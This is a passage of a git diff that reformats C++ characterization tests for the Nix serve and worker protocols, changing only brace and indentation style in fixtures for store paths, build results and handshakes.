Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "foo", + }, + .outPath = StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo"}, + }, + }, + { + "bar", + { + .id = + DrvOutput{ + .drvHash = + Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "bar", + }, + .outPath = StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar"}, }, - .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, }, }, - { - "bar", - { - .id = DrvOutput { - .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), - .outputName = "bar", - }, - .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar" }, - }, - }, - }, .startTime = 30, .stopTime = 50, #if 0 @@ -237,19 +231,19 @@ VERSIONED_CHARACTERIZATION_TEST( unkeyedValidPathInfo_2_3, "unkeyed-valid-path-info-2.3", 2 << 8 | 3, - (std::tuple { + (std::tuple{ ({ - UnkeyedValidPathInfo info { Hash::dummy }; + UnkeyedValidPathInfo info{Hash::dummy}; info.narSize = 34878; info; }), ({ - UnkeyedValidPathInfo info { Hash::dummy }; - info.deriver = StorePath { + UnkeyedValidPathInfo info{Hash::dummy}; + info.deriver = StorePath{ "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", }; info.references = { - StorePath { + StorePath{ "g1w7hyyyy1w7hy3qg1w7hy3qgqqqqy3q-foo.drv", }, }; @@ -263,16 +257,16 @@ VERSIONED_CHARACTERIZATION_TEST( unkeyedValidPathInfo_2_4, "unkeyed-valid-path-info-2.4", 2 << 8 | 4, - (std::tuple { + (std::tuple{ ({ - UnkeyedValidPathInfo info { + UnkeyedValidPathInfo info{ Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), }; - info.deriver = StorePath { + info.deriver = StorePath{ "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", }; info.references = { - StorePath { + StorePath{ "g1w7hyyyy1w7hy3qg1w7hy3qgqqqqy3q-foo.drv", }, }; @@ -280,31 +274,34 @@ VERSIONED_CHARACTERIZATION_TEST( info; }), ({ - ValidPathInfo info { + ValidPathInfo info{ *LibStoreTest::store, "foo", - FixedOutputInfo { + FixedOutputInfo{ .method = FileIngestionMethod::NixArchive, .hash = hashString(HashAlgorithm::SHA256, "(...)"), - .references = { - .others = { - StorePath { - "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", - }, + .references = + { + .others = + { + StorePath{ + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", + }, + }, + .self = true, }, - .self = true, - }, }, Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), }; - info.deriver = StorePath { + info.deriver = StorePath{ "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", }; info.narSize = 34878; - info.sigs = { - "fake-sig-1", - "fake-sig-2", - }, + info.sigs = + { + "fake-sig-1", + "fake-sig-2", + }, static_cast(std::move(info)); }), })) @@ -314,7 +311,7 @@ VERSIONED_CHARACTERIZATION_TEST( build_options_2_1, "build-options-2.1", 2 << 8 | 1, - (ServeProto::BuildOptions { + (ServeProto::BuildOptions{ .maxSilentTime = 5, .buildTimeout = 6, })) @@ -324,7 +321,7 @@ VERSIONED_CHARACTERIZATION_TEST( build_options_2_2, "build-options-2.2", 2 << 8 | 2, - (ServeProto::BuildOptions { + (ServeProto::BuildOptions{ .maxSilentTime = 5, .buildTimeout = 6, .maxLogSize = 7, @@ -335,7 +332,7 @@ VERSIONED_CHARACTERIZATION_TEST( build_options_2_3, "build-options-2.3", 2 << 8 | 3, - (ServeProto::BuildOptions { + (ServeProto::BuildOptions{ .maxSilentTime = 5, .buildTimeout = 6, .maxLogSize = 7, @@ -348,7 +345,7 @@ VERSIONED_CHARACTERIZATION_TEST( build_options_2_7, "build-options-2.7", 2 << 8 | 7, - (ServeProto::BuildOptions { + (ServeProto::BuildOptions{ .maxSilentTime = 5, .buildTimeout = 6, .maxLogSize = 7, @@ -362,11 +359,15 @@ VERSIONED_CHARACTERIZATION_TEST( vector, "vector", defaultVersion, - (std::tuple, std::vector, std::vector, std::vector>> { - { }, - { "" }, - { "", "foo", "bar" }, - { {}, { "" }, { "", "1", "2" } }, + (std::tuple< + std::vector, + std::vector, + std::vector, + std::vector>>{ + {}, + {""}, + {"", "foo", "bar"}, + {{}, {""}, {"", "1", "2"}}, })) VERSIONED_CHARACTERIZATION_TEST( @@ -374,11 +375,11 @@ VERSIONED_CHARACTERIZATION_TEST( set, "set", defaultVersion, - (std::tuple, std::set, std::set, std::set>> { - { }, - { "" }, - { "", "foo", "bar" }, - { {}, { "" }, { "", "1", "2" } }, + (std::tuple, std::set, std::set, std::set>>{ + {}, + {""}, + {"", "foo", "bar"}, + {{}, {""}, {"", "1", "2"}}, })) VERSIONED_CHARACTERIZATION_TEST( @@ -386,10 +387,10 @@ VERSIONED_CHARACTERIZATION_TEST( optionalStorePath, "optional-store-path", defaultVersion, - (std::tuple, std::optional> { + (std::tuple, std::optional>{ std::nullopt, - std::optional { - StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo-bar" }, + std::optional{ + StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo-bar"}, }, })) @@ -398,10 +399,10 @@ VERSIONED_CHARACTERIZATION_TEST( optionalContentAddress, "optional-content-address", defaultVersion, - (std::tuple, std::optional> { + (std::tuple, std::optional>{ std::nullopt, - std::optional { - ContentAddress { + std::optional{ + ContentAddress{ .method = ContentAddressMethod::Raw::Flat, .hash = hashString(HashAlgorithm::SHA1, "blob blob..."), }, @@ -420,18 +421,16 @@ TEST_F(ServeProtoTest, handshake_log) ServeProto::Version clientResult; auto thread = std::thread([&]() { - FdSink out { toServer.writeSide.get() }; - FdSource in0 { toClient.readSide.get() }; - TeeSource in { in0, toClientLog }; - clientResult = ServeProto::BasicClientConnection::handshake( - out, in, defaultVersion, "blah"); + FdSink out{toServer.writeSide.get()}; + FdSource in0{toClient.readSide.get()}; + TeeSource in{in0, toClientLog}; + clientResult = ServeProto::BasicClientConnection::handshake(out, in, defaultVersion, "blah"); }); { - FdSink out { toClient.writeSide.get() }; - FdSource in { toServer.readSide.get() }; - ServeProto::BasicServerConnection::handshake( - out, in, defaultVersion); + FdSink out{toClient.writeSide.get()}; + FdSource in{toServer.readSide.get()}; + ServeProto::BasicServerConnection::handshake(out, in, defaultVersion); }; thread.join(); @@ -441,8 +440,9 @@ TEST_F(ServeProtoTest, handshake_log) } /// Has to be a `BufferedSink` for handshake. -struct NullBufferedSink : BufferedSink { - void writeUnbuffered(std::string_view data) override { } +struct NullBufferedSink : BufferedSink +{ + void writeUnbuffered(std::string_view data) override {} }; TEST_F(ServeProtoTest, handshake_client_replay) @@ -450,9 +450,8 @@ TEST_F(ServeProtoTest, handshake_client_replay) CharacterizationTest::readTest("handshake-to-client", [&](std::string toClientLog) { NullBufferedSink nullSink; - StringSource in { toClientLog }; - auto clientResult = ServeProto::BasicClientConnection::handshake( - nullSink, in, defaultVersion, "blah"); + StringSource in{toClientLog}; + auto clientResult = ServeProto::BasicClientConnection::handshake(nullSink, in, defaultVersion, "blah"); EXPECT_EQ(clientResult, defaultVersion); }); @@ -486,23 +485,18 @@ TEST_F(ServeProtoTest, handshake_client_corrupted_throws) ++toClientLogCorrupt[idx]; NullBufferedSink nullSink; - StringSource in { toClientLogCorrupt }; + StringSource in{toClientLogCorrupt}; if (idx < 4 || idx == 9) { // magic bytes don't match - EXPECT_THROW( - ServeProto::BasicClientConnection::handshake( - nullSink, in, defaultVersion, "blah"), - Error); + EXPECT_THROW(ServeProto::BasicClientConnection::handshake(nullSink, in, defaultVersion, "blah"), Error); } else if (idx < 8 || idx >= 12) { // Number out of bounds EXPECT_THROW( - ServeProto::BasicClientConnection::handshake( - nullSink, in, defaultVersion, "blah"), + ServeProto::BasicClientConnection::handshake(nullSink, in, defaultVersion, "blah"), SerialisationError); } else { - auto ver = ServeProto::BasicClientConnection::handshake( - nullSink, in, defaultVersion, "blah"); + auto ver = ServeProto::BasicClientConnection::handshake(nullSink, in, defaultVersion, "blah"); // `std::min` of this and the other version saves us EXPECT_EQ(ver, defaultVersion); } diff --git a/src/libstore-tests/worker-protocol.cc b/src/libstore-tests/worker-protocol.cc index acf83cb60..5924f5fd6 100644 --- a/src/libstore-tests/worker-protocol.cc +++ b/src/libstore-tests/worker-protocol.cc @@ -25,13 +25,12 @@ struct WorkerProtoTest : VersionedProtoTest WorkerProto::Version defaultVersion = 1 << 8 | 10; }; - VERSIONED_CHARACTERIZATION_TEST( WorkerProtoTest, string, "string", defaultVersion, - (std::tuple { + (std::tuple{ "", "hi", "white rabbit", @@ -46,9 +45,9 @@ VERSIONED_CHARACTERIZATION_TEST( storePath, "store-path", defaultVersion, - (std::tuple { - StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, - StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo-bar" }, + (std::tuple{ + StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo"}, + StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo-bar"}, })) VERSIONED_CHARACTERIZATION_TEST( @@ -56,16 +55,16 @@ VERSIONED_CHARACTERIZATION_TEST( contentAddress, "content-address", defaultVersion, - (std::tuple { - ContentAddress { + (std::tuple{ + ContentAddress{ .method = ContentAddressMethod::Raw::Text, .hash = hashString(HashAlgorithm::SHA256, "Derive(...)"), }, - ContentAddress { + ContentAddress{ .method = ContentAddressMethod::Raw::Flat, .hash = hashString(HashAlgorithm::SHA1, "blob blob..."), }, - ContentAddress { + ContentAddress{ .method = ContentAddressMethod::Raw::NixArchive, .hash = hashString(HashAlgorithm::SHA256, "(...)"), }, @@ -78,21 +77,23 @@ VERSIONED_CHARACTERIZATION_TEST( derivedPath_1_29, "derived-path-1.29", 1 << 8 | 29, - (std::tuple { - DerivedPath::Opaque { - .path = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, + (std::tuple{ + DerivedPath::Opaque{ + .path = StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo"}, }, - DerivedPath::Built { - .drvPath = makeConstantStorePathRef(StorePath { - "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", - }), - .outputs = OutputsSpec::All { }, + DerivedPath::Built{ + .drvPath = makeConstantStorePathRef( + StorePath{ + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", + }), + .outputs = OutputsSpec::All{}, }, - DerivedPath::Built { - .drvPath = makeConstantStorePathRef(StorePath { - "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", - }), - .outputs = OutputsSpec::Names { "x", "y" }, + DerivedPath::Built{ + .drvPath = makeConstantStorePathRef( + StorePath{ + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", + }), + .outputs = OutputsSpec::Names{"x", "y"}, }, })) @@ -101,24 +102,26 @@ VERSIONED_CHARACTERIZATION_TEST( derivedPath_1_30, "derived-path-1.30", 1 << 8 | 30, - (std::tuple { - DerivedPath::Opaque { - .path = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, + (std::tuple{ + DerivedPath::Opaque{ + .path = StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo"}, }, - DerivedPath::Opaque { - .path = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo.drv" }, + DerivedPath::Opaque{ + .path = StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo.drv"}, }, - DerivedPath::Built { - .drvPath = makeConstantStorePathRef(StorePath { - "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", - }), - .outputs = OutputsSpec::All { }, + DerivedPath::Built{ + .drvPath = makeConstantStorePathRef( + StorePath{ + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", + }), + .outputs = OutputsSpec::All{}, }, - DerivedPath::Built { - .drvPath = makeConstantStorePathRef(StorePath { - "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", - }), - .outputs = OutputsSpec::Names { "x", "y" }, + DerivedPath::Built{ + .drvPath = makeConstantStorePathRef( + StorePath{ + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", + }), + .outputs = OutputsSpec::Names{"x", "y"}, }, })) @@ -127,12 +130,12 @@ VERSIONED_CHARACTERIZATION_TEST( drvOutput, "drv-output", defaultVersion, - (std::tuple { + (std::tuple{ { .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), .outputName = "baz", }, - DrvOutput { + DrvOutput{ .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), .outputName = "quux", }, @@ -143,115 +146,110 @@ VERSIONED_CHARACTERIZATION_TEST( realisation, "realisation", defaultVersion, - (std::tuple { - Realisation { - .id = DrvOutput { - .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), - .outputName = "baz", - }, - .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, - .signatures = { "asdf", "qwer" }, + (std::tuple{ + Realisation{ + .id = + DrvOutput{ + .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + .outputName = "baz", + }, + .outPath = StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo"}, + .signatures = {"asdf", "qwer"}, }, - Realisation { - .id = { - .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), - .outputName = "baz", - }, - .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, - .signatures = { "asdf", "qwer" }, - .dependentRealisations = { + Realisation{ + .id = { - DrvOutput { - .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), - .outputName = "quux", - }, - StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, + .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + .outputName = "baz", + }, + .outPath = StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo"}, + .signatures = {"asdf", "qwer"}, + .dependentRealisations = + { + { + DrvOutput{ + .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "quux", + }, + StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo"}, + }, }, - }, }, })) +VERSIONED_CHARACTERIZATION_TEST(WorkerProtoTest, buildResult_1_27, "build-result-1.27", 1 << 8 | 27, ({ + using namespace std::literals::chrono_literals; + std::tuple t{ + BuildResult{ + .status = BuildResult::OutputRejected, + .errorMsg = "no idea why", + }, + BuildResult{ + .status = BuildResult::NotDeterministic, + .errorMsg = "no idea why", + }, + BuildResult{ + .status = BuildResult::Built, + }, + }; + t; + })) + VERSIONED_CHARACTERIZATION_TEST( - WorkerProtoTest, - buildResult_1_27, - "build-result-1.27", - 1 << 8 | 27, - ({ + WorkerProtoTest, buildResult_1_28, "build-result-1.28", 1 << 8 | 28, ({ using namespace std::literals::chrono_literals; - std::tuple t { - BuildResult { + std::tuple t{ + BuildResult{ .status = BuildResult::OutputRejected, .errorMsg = "no idea why", }, - BuildResult { + BuildResult{ .status = BuildResult::NotDeterministic, .errorMsg = "no idea why", }, - BuildResult { + BuildResult{ .status = BuildResult::Built, + .builtOutputs = + { + { + "foo", + { + .id = + DrvOutput{ + .drvHash = + Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "foo", + }, + .outPath = StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo"}, + }, + }, + { + "bar", + { + .id = + DrvOutput{ + .drvHash = + Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "bar", + }, + .outPath = StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar"}, + }, + }, + }, }, }; t; })) VERSIONED_CHARACTERIZATION_TEST( - WorkerProtoTest, - buildResult_1_28, - "build-result-1.28", - 1 << 8 | 28, - ({ + WorkerProtoTest, buildResult_1_29, "build-result-1.29", 1 << 8 | 29, ({ using namespace std::literals::chrono_literals; - std::tuple t { - BuildResult { + std::tuple t{ + BuildResult{ .status = BuildResult::OutputRejected, .errorMsg = "no idea why", }, - BuildResult { - .status = BuildResult::NotDeterministic, - .errorMsg = "no idea why", - }, - BuildResult { - .status = BuildResult::Built, - .builtOutputs = { - { - "foo", - { - .id = DrvOutput { - .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), - .outputName = "foo", - }, - .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, - }, - }, - { - "bar", - { - .id = DrvOutput { - .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), - .outputName = "bar", - }, - .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar" }, - }, - }, - }, - }, - }; - t; - })) - -VERSIONED_CHARACTERIZATION_TEST( - WorkerProtoTest, - buildResult_1_29, - "build-result-1.29", - 1 << 8 | 29, - ({ - using namespace std::literals::chrono_literals; - std::tuple t { - BuildResult { - .status = BuildResult::OutputRejected, - .errorMsg = "no idea why", - }, - BuildResult { + BuildResult{ .status = BuildResult::NotDeterministic, .errorMsg = "no idea why", .timesBuilt = 3, @@ -259,31 +257,36 @@ VERSIONED_CHARACTERIZATION_TEST( .startTime = 30, .stopTime = 50, }, - BuildResult { + BuildResult{ .status = BuildResult::Built, .timesBuilt = 1, - .builtOutputs = { + .builtOutputs = { - "foo", { - .id = DrvOutput { - .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), - .outputName = "foo", + "foo", + { + .id = + DrvOutput{ + .drvHash = + Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "foo", + }, + .outPath = StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo"}, + }, + }, + { + "bar", + { + .id = + DrvOutput{ + .drvHash = + Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "bar", + }, + .outPath = StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar"}, }, - .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, }, }, - { - "bar", - { - .id = DrvOutput { - .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), - .outputName = "bar", - }, - .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar" }, - }, - }, - }, .startTime = 30, .stopTime = 50, }, @@ -292,18 +295,14 @@ VERSIONED_CHARACTERIZATION_TEST( })) VERSIONED_CHARACTERIZATION_TEST( - WorkerProtoTest, - buildResult_1_37, - "build-result-1.37", - 1 << 8 | 37, - ({ + WorkerProtoTest, buildResult_1_37, "build-result-1.37", 1 << 8 | 37, ({ using namespace std::literals::chrono_literals; - std::tuple t { - BuildResult { + std::tuple t{ + BuildResult{ .status = BuildResult::OutputRejected, .errorMsg = "no idea why", }, - BuildResult { + BuildResult{ .status = BuildResult::NotDeterministic, .errorMsg = "no idea why", .timesBuilt = 3, @@ -311,31 +310,36 @@ VERSIONED_CHARACTERIZATION_TEST( .startTime = 30, .stopTime = 50, }, - BuildResult { + BuildResult{ .status = BuildResult::Built, .timesBuilt = 1, - .builtOutputs = { + .builtOutputs = { - "foo", { - .id = DrvOutput { - .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), - .outputName = "foo", + "foo", + { + .id = + DrvOutput{ + .drvHash = + Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "foo", + }, + .outPath = StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo"}, + }, + }, + { + "bar", + { + .id = + DrvOutput{ + .drvHash = + Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "bar", + }, + .outPath = StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar"}, }, - .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, }, }, - { - "bar", - { - .id = DrvOutput { - .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), - .outputName = "bar", - }, - .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar" }, - }, - }, - }, .startTime = 30, .stopTime = 50, .cpuUser = std::chrono::microseconds(500s), @@ -345,51 +349,49 @@ VERSIONED_CHARACTERIZATION_TEST( t; })) -VERSIONED_CHARACTERIZATION_TEST( - WorkerProtoTest, - keyedBuildResult_1_29, - "keyed-build-result-1.29", - 1 << 8 | 29, - ({ - using namespace std::literals::chrono_literals; - std::tuple t { - KeyedBuildResult { - { - .status = KeyedBuildResult::OutputRejected, - .errorMsg = "no idea why", - }, - /* .path = */ DerivedPath::Opaque { - StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-xxx" }, - }, - }, - KeyedBuildResult { - { - .status = KeyedBuildResult::NotDeterministic, - .errorMsg = "no idea why", - .timesBuilt = 3, - .isNonDeterministic = true, - .startTime = 30, - .stopTime = 50, - }, - /* .path = */ DerivedPath::Built { - .drvPath = makeConstantStorePathRef(StorePath { - "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", - }), - .outputs = OutputsSpec::Names { "out" }, - }, - }, - }; - t; - })) +VERSIONED_CHARACTERIZATION_TEST(WorkerProtoTest, keyedBuildResult_1_29, "keyed-build-result-1.29", 1 << 8 | 29, ({ + using namespace std::literals::chrono_literals; + std::tuple t{ + KeyedBuildResult{ + { + .status = KeyedBuildResult::OutputRejected, + .errorMsg = "no idea why", + }, + /* .path = */ + DerivedPath::Opaque{ + StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-xxx"}, + }, + }, + KeyedBuildResult{ + { + .status = KeyedBuildResult::NotDeterministic, + .errorMsg = "no idea why", + .timesBuilt = 3, + .isNonDeterministic = true, + .startTime = 30, + .stopTime = 50, + }, + /* .path = */ + DerivedPath::Built{ + .drvPath = makeConstantStorePathRef( + StorePath{ + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", + }), + .outputs = OutputsSpec::Names{"out"}, + }, + }, + }; + t; + })) VERSIONED_CHARACTERIZATION_TEST( WorkerProtoTest, unkeyedValidPathInfo_1_15, "unkeyed-valid-path-info-1.15", 1 << 8 | 15, - (std::tuple { + (std::tuple{ ({ - UnkeyedValidPathInfo info { + UnkeyedValidPathInfo info{ Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), }; info.registrationTime = 23423; @@ -397,14 +399,14 @@ VERSIONED_CHARACTERIZATION_TEST( info; }), ({ - UnkeyedValidPathInfo info { + UnkeyedValidPathInfo info{ Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), }; - info.deriver = StorePath { + info.deriver = StorePath{ "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", }; info.references = { - StorePath { + StorePath{ "g1w7hyyyy1w7hy3qg1w7hy3qgqqqqy3q-foo.drv", }, }; @@ -419,13 +421,13 @@ VERSIONED_CHARACTERIZATION_TEST( validPathInfo_1_15, "valid-path-info-1.15", 1 << 8 | 15, - (std::tuple { + (std::tuple{ ({ - ValidPathInfo info { - StorePath { + ValidPathInfo info{ + StorePath{ "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", }, - UnkeyedValidPathInfo { + UnkeyedValidPathInfo{ Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), }, }; @@ -434,24 +436,24 @@ VERSIONED_CHARACTERIZATION_TEST( info; }), ({ - ValidPathInfo info { - StorePath { + ValidPathInfo info{ + StorePath{ "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", }, - UnkeyedValidPathInfo { + UnkeyedValidPathInfo{ Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), }, }; - info.deriver = StorePath { + info.deriver = StorePath{ "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", }; info.references = { // other reference - StorePath { + StorePath{ "g1w7hyyyy1w7hy3qg1w7hy3qgqqqqy3q-foo", }, // self reference - StorePath { + StorePath{ "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", }, }; @@ -466,13 +468,13 @@ VERSIONED_CHARACTERIZATION_TEST( validPathInfo_1_16, "valid-path-info-1.16", 1 << 8 | 16, - (std::tuple { + (std::tuple{ ({ - ValidPathInfo info { - StorePath { + ValidPathInfo info{ + StorePath{ "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", }, - UnkeyedValidPathInfo { + UnkeyedValidPathInfo{ Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), }, }; @@ -482,50 +484,53 @@ VERSIONED_CHARACTERIZATION_TEST( info; }), ({ - ValidPathInfo info { - StorePath { + ValidPathInfo info{ + StorePath{ "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", }, - UnkeyedValidPathInfo { + UnkeyedValidPathInfo{ Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), }, }; - info.deriver = StorePath { + info.deriver = StorePath{ "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", }; info.references = { // other reference - StorePath { + StorePath{ "g1w7hyyyy1w7hy3qg1w7hy3qgqqqqy3q-foo", }, // self reference - StorePath { + StorePath{ "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", }, }; info.registrationTime = 23423; info.narSize = 34878; - info.sigs = { - "fake-sig-1", - "fake-sig-2", - }, + info.sigs = + { + "fake-sig-1", + "fake-sig-2", + }, info; }), ({ - ValidPathInfo info { + ValidPathInfo info{ *LibStoreTest::store, "foo", - FixedOutputInfo { + FixedOutputInfo{ .method = FileIngestionMethod::NixArchive, .hash = hashString(HashAlgorithm::SHA256, "(...)"), - .references = { - .others = { - StorePath { - "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", - }, + .references = + { + .others = + { + StorePath{ + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", + }, + }, + .self = true, }, - .self = true, - }, }, Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), }; @@ -540,7 +545,7 @@ VERSIONED_CHARACTERIZATION_TEST( buildMode, "build-mode", defaultVersion, - (std::tuple { + (std::tuple{ bmNormal, bmRepair, bmCheck, @@ -551,10 +556,10 @@ VERSIONED_CHARACTERIZATION_TEST( optionalTrustedFlag, "optional-trusted-flag", defaultVersion, - (std::tuple, std::optional, std::optional> { + (std::tuple, std::optional, std::optional>{ std::nullopt, - std::optional { Trusted }, - std::optional { NotTrusted }, + std::optional{Trusted}, + std::optional{NotTrusted}, })) VERSIONED_CHARACTERIZATION_TEST( @@ -562,11 +567,15 @@ VERSIONED_CHARACTERIZATION_TEST( vector, "vector", defaultVersion, - (std::tuple, std::vector, std::vector, std::vector>> { - { }, - { "" }, - { "", "foo", "bar" }, - { {}, { "" }, { "", "1", "2" } }, + (std::tuple< + std::vector, + std::vector, + std::vector, + std::vector>>{ + {}, + {""}, + {"", "foo", "bar"}, + {{}, {""}, {"", "1", "2"}}, })) VERSIONED_CHARACTERIZATION_TEST( @@ -574,11 +583,11 @@ VERSIONED_CHARACTERIZATION_TEST( set, "set", defaultVersion, - (std::tuple, std::set, std::set, std::set>> { - { }, - { "" }, - { "", "foo", "bar" }, - { {}, { "" }, { "", "1", "2" } }, + (std::tuple, std::set, std::set, std::set>>{ + {}, + {""}, + {"", "foo", "bar"}, + {{}, {""}, {"", "1", "2"}}, })) VERSIONED_CHARACTERIZATION_TEST( @@ -586,10 +595,10 @@ 